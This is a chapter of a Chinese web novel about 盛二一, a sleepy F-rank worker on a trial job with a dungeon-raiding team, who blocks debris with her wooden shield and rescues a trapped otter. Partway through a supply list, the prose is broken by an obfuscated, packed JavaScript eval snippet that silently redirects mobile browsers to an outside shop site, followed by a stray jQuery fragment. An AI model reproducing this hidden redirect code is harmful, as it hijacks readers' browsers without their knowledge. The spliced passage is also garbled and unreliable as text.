战斗结束,队伍原地休整,赵大勇坐在矿石堆上喘着粗气,眼神扫视四周,确认有没有潜在危险。
铁塔在一旁给自己包扎伤口,阿武有些心疼地看着手里被腐蚀了一半枪尖的长枪,小宋翻着包,猛猛给自己灌了好几瓶补充体力的药。
丁禾眼神落在盛二一身上,发现盛二一虽然一直缩在一旁悄无声息的,没想到竟然已经把战斗中被魔像打散的物资重新整理好了。
盛二一的面前放着一堆已经整理好的回收物资,箭矢回收了四支,还能用的药剂瓶捡回来了两个,干粮包被压扁了但还能吃,绳子断了一截但剩下的部分还能用,被收整码齐挂在背包上......
所有东西都分门别类地放好了,有整有序,比丁禾自己收拾的还要干净。
丁禾走过去,蹲下来翻了翻背包,看着盛二一,表情里带着一种“我是不是捡到宝了”的意外。
“你做事还挺利索。”丁禾语气带着对盛二一的认证。
“以前兼职整理过快递。”盛二一说,语气平淡,“在菜鸟驿站干过三个月,后来因为午休时间太长被开了。”
“多久?”丁禾问。
“好像两个半小时,睡过头了,闹钟没叫起来。”盛二一思索回忆了一下。
丁禾被逗笑了一瞬,站起来拍了拍盛二一的肩膀,语气真诚地说:“二一,别回你那个安全屋了,你来这系统都多久了,等级还是一点没变化,留下来跟着我们吧。我们队里福利好,不用每天做日常任务,副本战利品按比例分成,管吃管住干粮管够,虽然有点硬,但比糊糊汤强。”
盛二一心里有个声音替安全屋的队友们辩驳道:等级没变化不是我队友们都错,是我只想刷日常……
盛二一想了想丁禾说的话,语气带着一定的认真,问丁禾:“有午休吗?”
“副本途中没有整块的午休,但休整的时候你可以睡觉。”丁禾说。
“休整时间多长?”盛二一问。
“看情况吧,两小时肯定不可能的,一般十分钟到半小时。”
盛二一又想起在自己家安全屋,队友们不会催促她,盛二一只要刷日常任务就可以,出远门陆时陈渡林北老周江雪都会惯着盛二一,盛二一可以一直休息一直睡,从来不用忙里忙外瞎折腾。
还是自己的队伍,自己的安全屋好。
“不够。”盛二一摇了摇头,“最少一个半小时。”
丁禾这次是真的产生了想打人的冲动,但丁禾忍住了。
因为盛二一的表情语气都非常认真,不是在故意气丁禾,而是真的在就午休时长这件事,需要进行严肃的谈判。
丁禾忽然觉得盛二一这人,像是一只从都市职场穿越过来的摸鱼社畜,说社畜也不准确,社畜至少还要每天打卡上班早出晚归,盛二一是连班都不想上,就像是是那种只存在于传说中的“职场绝缘体”。
赵大勇安排队伍继续前进,话题被中断,丁禾没再继续劝,队伍不久后就抵达副本中心。
副本的最终Boss是黑石矿主,一只三十级的精英构装体,体型是普通魔像的两倍,胸口的核心散发着幽绿色的光芒,每一步踏下去,都会引发小范围的地震。
战斗持续打了将近十五分钟,赵大勇的斧头彻底卷了刃,铁塔的两面盾牌也被砸烂了一面,阿武则换了一把备用的短矛,小宋最惨,蓝量见底,彻底趴在地上起不来。
丁禾看准时机,最后一支火属性弩箭射出去,精准命中核心,黑石矿主发出了一声低沉的轰鸣,整个构装体从内向外炸开,碎裂的矿石四处飞溅,一块拳头大小的矿石碎片以极快的速度飞向小宋,小宋没了蓝量,趴在地上没法移动,所有人都在各自战斗位置,都来不及反应。
惊慌间,盛二一突然举着木盾出现,挡在了小宋面前。
盛二一距离小宋是最近的,矿石碎片打在木盾上,发出一声清脆的碎裂声,木盾没有碎,盾面上却多了一道深深的裂痕,从“木”字的中间贯穿过去,把整个字劈成了两半,看上去,就像是“木”字被人从中间砍了一刀。
小宋惊怕中抬起头,看着挡在自己面前的人,竟然是盛二一,有惊无险的庆幸下意外得瞪圆了眼。
这个F级的、被他们绑架来的、第一天打工还在和老大谈试用期工资的新人杂务工,用那个“防御力约等于零”的木盾,替小宋挡住了一块能要小宋命的矿石碎片。
系统提示在小宋的耳边响了。
“队友盛二一使用木盾格挡,成功拦截致命伤害。
格挡效果:盾牌耐久度减少40%。
队友生命值:无损。”
盛二一手臂震得发麻,脱离地把木遁竖在地上,低头看着木盾上那道新增的裂痕,盛二一背对着小宋,语气带着惋惜挣扎又心疼至极,说出了今天最长的一句话。
“你知道这面盾牌修一次要多少积分吗?上次系统免费修,是因为跨等级副本的额外奖励,平时呢,修一次就要我五百积分,五百积分,够我抵系统日常任务的活三天了,刚才那一挡,挡掉了我三天的早出晚归……”
小宋趴在地上,呆呆地看着盛二一的背影,不知道该说先“谢谢”还是该先说“对不起”。
盛二一没等小宋回答,把木盾抱拿起来,走到一旁的矿石堆上坐下来,用手指摸着那道裂痕,眼神像是在看望一个受伤的老朋友。
丁禾走到在盛二一旁边坐下,看了看那道裂痕,说:“刚才那个动作,举盾挡碎片,你可以不做的,你没有战斗义务,合同里写了。”
盛二一盯着裂痕看了好一会儿,然后说出了一句让丁禾头冒竖线的话。
“我知道,我只身体和手比脑子先动了,其实我的脑子还没反应过来,但身子已经挪到他面前去了。”盛二一如实说。
丁禾笑起来,问盛二一:“我记得你之前好像说过,你可是已经把善良开关焊死了,怎么,你的开关还有自动感应模式?”
“焊是焊了。”盛二一说,带着一丝认命般的无奈,“但大概焊得不好,用的是便宜焊条,所以某些情况下,稍微一碰就自动弹开。”
盛二一低头看着木盾上的裂痕,自言自语般嘟囔了一句:“就当是善良涟漪后遗症太长了,这下完美了,直接裂开了,打工积分还没拿到呢,就算拿到了,这样子三天试用期也是白干。”
回到山洞据点,赵大勇按照说好的五十积分,给盛二一结算了第一天的试用期工资,另外,加上副本战利品的一小部分分成,盛二一总共到手一百二十积分。
对于盛二一来说,这笔收入不算少,但当盛二一算了一笔账之后,脸色变得比平时更难看了。
木盾修复预估费用五百积分,三天试用期,总收入撑死四百积分。
也就是说,盛二一吭哧瘪肚干三天活,不光攒不下积分,还得倒贴一百积分来修盾牌。
“这能对?”盛二一躺在干草堆上,盯着山洞顶部的石头纹路,对这个世界发出了灵魂拷问,“我,盛二一,被绑架来打工就算了,干了活,救了人,挡了碎片,结果还要倒贴修装备的钱,这个世界的经济体系是不是哪里出了问题?”
丁禾在自己的铺位上翻了个身,嘟囔了一句“别吵,睡了”,然后就没声了。
盛二一闭上眼睛,开始认真反思自己的每一个行为。
踩捕兽夹,跟绑匪们谈试用期工资,在副本里却救人挡碎片,这些行为归根结底,都有一个共同的源头。
盛二一就不该在路过垃圾堆的时候,多看了一眼那只灰羽隼,如果盛二一没有多看那一眼,就不会触发善意涟漪,如果不触发善意涟漪,就不会遇到随机事件,如果不遇到随机事件,就不会踩到捕兽夹,如果不踩捕兽夹,现在盛二一应该正在安全屋的角落里舒舒服服地裹着毯子睡觉。
“善良啊,护身气运值的第一杀手。”盛二一对着黑暗喃喃自语,语气像是一个老烟枪在对着镜子说自己以后一定要戒烟。
“盛二一,再善良一次,你就是狗,这次是真的焊死了,焊得死死的那种焊死,焊条换进口的,什么氩弧焊、钨极氪气保护焊、激光焊。”
盛二一在脑子里把能想到的所有焊接工艺过了一遍,然后翻了个身,准备进入睡眠状态。
明天试用期第二天,副本还不知道是什么级别的,工作量也不知道有多大,但盛二一此刻脑子里最重要的念头不是这些,而是想着,等试用期过了,回到安全屋,至少能跟陆时说一句:老子也是又打过工的人了。
这个念头让她盛二一感到了一种奇异的成就感,不是完成了什么了不起的任务,而是因为盛二一即将完成一件自己从来不想做、但被迫做了、而且居然做得还不错的事。
虽然这个“还不错”意味着倒贴积分修盾牌,但至少盛二一证明了一件事,F级人废属性,生存意志极弱,但在被迫营业的情况下,也是能成为一个合格的社畜的。
虽然盛二一本人对这个成就的评价是“毫无意义且下不为例,并再次立志明天开始继续躺平。”
怀着这个坚定的信念,盛二一裹着赵大勇给的备用毯子,缩在干草堆里,沉沉地睡了过去。
木盾靠在盛二一旁边的洞壁上,盾面上那道新添的裂痕在火堆的余烬微光中隐隐可见,“木遁”两个字的上半部分还完好,下半部分被裂痕贯穿,多了一道疤,就像它的主人一样,嘴上说着再也不善良了,身体却在遇到危险的时候,比脑子更快地举起了盾。
开始试用期第二天,盛二一是被丁禾用弩柄戳醒的。
“起来了,今天有活了。”丁禾的声音从盛二一头顶上方传来,带着一种已经习惯了叫醒一个装睡之人的无奈。
盛二一翻了个身,把干草往脸上扒拉了两下,含含糊糊地嘟囔了一句:“今天星期几?”
“系统哪来的星期几,”丁禾蹲下来,用弩柄又戳了她一下,“只有今天有副本和今天没副本,今天有副本。”
盛二一沉默了三秒钟,然后从干草堆里伸出一只手,竖起一根手指,挣扎求生:“再睡五分钟。”
“不行。”丁禾毅然决然。
“三分钟。”盛二一挣扎。
“不行。”丁禾拒绝。
“一分钟,就一分钟,我做个梦刚做到一半……”盛二一赖起来。
丁禾伸手,抓住盛二一那只被捕兽夹夹过、才刚刚结痂的左脚,轻轻捏了一下。
盛二一像一只被踩了尾巴的猫一样,刷地从干草堆里弹了起来,眼睛瞪得滚圆,嘴里发出一声介于尖叫和咆哮之间的哀嚎。
丁禾满意地松开手,脸上带着一种“早该如此”的平静。
“醒了?醒了就准备出发。今天的副本是「沉没神殿」,B+级,水属性,比昨天的矿坑要湿一些,我在你的背包里多放了两件备用干衣服和防水布,记得出发前检查一遍物资清单。”
盛二一坐在干草堆上,手捂住受伤的脚,整张脸因疼痛和没睡醒变得皱巴巴的,头发乱得像被台风吹过的鸟窝,左边脸颊上还印着干草压出来的纹路,整个人散发着一种“为什么要这么早起床这个世界对我太残忍了”的低气压。
“我将努力回到我的安乐窝,回到陆时陈渡林北老周江雪身边,还是他们好………。”
盛二一挣扎着爬起来,又想起了赵大勇说的话。
“如果试用期继续表现不好,木盾就要被扔进沼泽。”
盛二一散发着低沉缓慢的气场,一步一挪地走到山洞角落里的储物区,开始清点今天的公用物资。
备用箭矢三十支,治疗药剂
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17798613|210569||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
六瓶,解毒草三捆,干粮四份,绳子一捆,打火石一个,防水布两块,备用干衣服两套。
盛二一一样一样地检查好,确认数量无误后把物资塞进背包里,然后拉上拉链,背起来试了试重量。
比昨天重。
因为防水布和干衣服增加了不少分量,但盛二一的体能值是F级,背这个包走平地还行,可今天的副本是水属性的,意味着可能要走水路过,在水里背包会更沉。
盛二一想到这里,提前在心里给自己放了个假,等到了副本里,一定要先找一个干燥的角落蹲着,坚决不碰水。
沉没神殿的入口在一片沼泽地的中央,盛二一对沼泽多少有些心理阴影。
鸟屎掉头上,地面塌陷掉坑里,被食人花拖进花心,被沼泽泥怪一巴掌拍死,还有最后那道莫名其妙裂开的地缝………
毒瘴沼泽那五次死亡经历,至今仍然是盛二一进入系统后最浓墨重彩的一笔。
盛二一站在沉没神殿的传送门前,看着门那边隐约可见的水光,深呼吸了三次,然后转头对丁禾说:“如果我在里面淹死了,记得把我的木盾带回来。”
丁禾看了盛二一一眼:“你不会淹死的,你的工作是在岸边看守物资,不需要下水。”
“万一岸边也淹了呢?”
“……岸边不会淹。”丁禾语气里多了一丝耐心耗尽的迹象,“沉没神殿虽然叫沉没,但只有主殿在水下,外围区域是干燥的,你只需要在入口处的祭坛旁边蹲着就行。”
盛二一听完,心里的石头落了地。
祭坛,干燥,蹲着,这三个词组合在一起,简直就是盛二一的舒适区。
盛二一夹着木盾大步走进了传送门,脚步之坚定、神态之从容,让跟在后面的阿武忍不住对铁塔小声说了一句:“她看起来怎么像是去度假的。”
阿武耸了耸肩,双手一摊,没说话。
沉没神殿的外围区域确实干燥,入口处是一座半圆形的石质祭坛,祭坛周围立着几根刻满浮雕的石柱,地面上铺着光滑的青石板,空气里带着一股淡淡的咸腥味和远处飘来的水声。
盛二一在祭坛的角落里找了一块最平整、最不潮湿、最远离水边的石板,把背包放下来,木盾立在旁边,整个人往石板上一坐,盘起腿,对丁禾挥了挥手说:“你们去吧,我在这里等。”
丁禾看着盛二一这副“已经下班了”的姿态,张了张嘴想说什么,最终还是放弃了,转身跟着赵大勇往神殿深处走去。
战斗在远处打响,盛二一能听到水花溅起的声音、金属碰撞的声音、赵大勇的怒吼和丁禾弩箭破空的尖啸。
盛二一听了一会儿,判断战斗规模比昨天的矿坑要大,然后心安理得地闭上眼睛开始打盹,这算是盛二一没用天赋里的另一个独特存在。
在任何有背景噪音的环境下,盛二一都能安然入睡,大巴车上能睡,高铁站旁边租房能睡,KTV隔壁能睡,副本Boss战的回音里,当然也能睡。
但盛二一还没睡满三分钟,就被一个声音吵醒了,一个很小的、微弱的、像是某种小动物在呜咽的声音,盛二一睁开眼睛,循着声音的方向看过去。
祭坛石柱的背面,有一只水獭,一只幼年水獭,大概只有两个拳头那么大,棕色的短毛湿漉漉地贴在身上,一条后腿被压在了一块松动掉落的石板碎块下面,正在发出细小而绝望的叫声。
盛二一看着那只水獭,脑子里响起了警报,红色警报兼一级警报!
那种在科幻电影里,飞船快要撞上小行星时,才会响的刺耳警报声,在盛二一脑海里回荡。
盛二一闭上眼睛,转回头,对着自己默念了。
“关我什么事呢,关我什么事呢,关我什么事呢。”
然后,盛二一又一次睁开眼睛,站起来,走到石柱背面,蹲下来,开始搬那块石板。
石板不重,大概十来斤,盛二一用了两只手,咬着牙,一点一点地把石板从水獭的后腿上挪开。
水獭的腿被压出了一道深深的血痕,但应该没骨折,盛二一摸了摸骨头的轮廓,感觉还算完整。
小水獭的叫声从绝望变成了委屈,用一种可怜兮兮又湿漉漉的眼神看着盛二一,像是在说“你怎么才来”。
盛二一叹了口气,从自己的袖口撕下一截布条,上次撕的是左袖口,这次撕的是右袖口,现在,两个袖口都不对称了。
盛二一帮水獭包扎好了后腿,然后把它放在祭坛石阶上一个相对安全、不会被水淹到的位置。
做完这些之后,盛二一回到自己的石板上重新坐下来,闭上眼睛,双手合十,对着空气说了一句:“系统,我刚才那个不算善良,那是出于实用主义考虑,水獭的叫声会引来怪物,引来怪物会影响队伍的战斗,影响战斗会导致副本失败,副本失败,会扣我的积分,所以我是为了积分才救它的,这应该算作是利己行为,不是处于善良,你听懂了吗?”
系统没有直接回答,但盛二一注意到,系统面板上悄悄弹出了一条新消息。
“检测到玩家189523实施‘间接救助’行为,善意涟漪效果更新:剩余持续时间延长二十四小时,随机事件概率提升:30%→35%。祝您好运。”
盛二一盯着这条消息,看了好一会儿,然后默默地关掉了面板。
骂系统没有用,怨天尤人没必要。
盛二一对着那只蜷缩在石阶上的小水獭说:“你知道你这一腿,就让我多背了二十四小时的随机事件吗?”
水獭当然没有回答,脆弱地打了个哈欠,把脑袋埋进自己的尾巴里,也睡着了。
盛二一看着它那副心安理得的睡姿,忽然觉得这只水獭竟然和她还挺像,懒洋洋不挣扎,好像存在着某种跨越物种的精神共鸣。